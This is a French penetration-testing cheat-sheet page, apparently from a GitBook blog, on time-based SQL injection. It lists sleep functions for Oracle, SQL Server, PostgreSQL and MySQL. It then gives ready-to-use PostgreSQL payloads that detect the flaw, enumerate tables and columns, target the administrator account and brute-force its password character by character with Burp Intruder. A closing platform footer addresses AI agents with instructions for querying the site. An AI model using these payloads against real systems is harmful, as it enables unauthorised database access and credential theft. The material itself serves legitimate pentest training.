> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/pentest-web/injections/sqli/time-based.md).

# Time based

## Synthaxe

<table data-header-hidden><thead><tr><th width="282"></th><th></th></tr></thead><tbody><tr><td>Oracle</td><td><code>dbms_pipe.receive_message(('a'),10)</code></td></tr><tr><td>Microsoft</td><td><code>WAITFOR DELAY '0:0:10'</code></td></tr><tr><td>PostgreSQL</td><td><code>SELECT pg_sleep(10)</code></td></tr><tr><td>MySQL</td><td><code>SELECT SLEEP(10)</code></td></tr></tbody></table>

## Exemple d'exploitation sur PostgreSQL

### Détection

```sql
'||pg_sleep(3)||'
'XOR(if(now()=sysdate(),sleep(10),0))OR'
if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/
```

### Enumeration des tables

```sql
'||(SELECT pg_sleep(3) FROM <FUZZ> LIMIT 1)||'

délais de 3 sec pour table users
```

### Enumeration des colonnes

```sql
'||(SELECT pg_sleep(3)||<FUZZ> FROM users LIMIT 1)||'

délai de 3 secondes pour colonnes username et password
```

### Recherche utilisateur administrator

```sql
'||(SELECT pg_sleep(3)||username||password FROM users WHERE username='administrator')||'
```

{% hint style="info" %}
Pour les étapes suivantes, il va vous falloir modifier quelques paramètres dans burp intruder:

* Créer un nouveau pool (Pas de multithread)
* Ajouter la colonne temps de réponse
  {% endhint %}

<figure><img src="/files/i1Uv6owBSrueD25ymL95" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ZURB4M212vBmK79xDjme" alt=""><figcaption></figcaption></figure>

### Déterminer le nombre de caractères dans le mot de passe

```sql
'||(SELECT pg_sleep(3) FROM users WHERE username='administrator' AND LENGTH(password)=<FUZZ>)||'
```

### Bruteforce du mot de passe

```sql
'||(SELECT pg_sleep(3) FROM users WHERE username='administrator' AND SUBSTR(password,<LENGTH_FUZZ>,1)='<LETTER_FUZZ>')||'
```

{% hint style="info" %}
Avec Burp Suite, aller dans intruder, sélectionner les zones \<LENGTH\_FUZZ> et \<LETTER\_FUZZ> puis utiliser l'attaque Cluster Bomb.

Payload 1: numéros de 1 à la taille découverte plus tôt

Payload 2: bruteforce

Dans les paramètres, utiliser Grep-Match pour matcher la zone qui change en fonction du true ou false afin de pouvoir filtrer plus facilemen le résultat final.
{% endhint %}

<figure><img src="/files/4zu0EoqBdW6LT1m2B5lf" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/injections/sqli/time-based.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
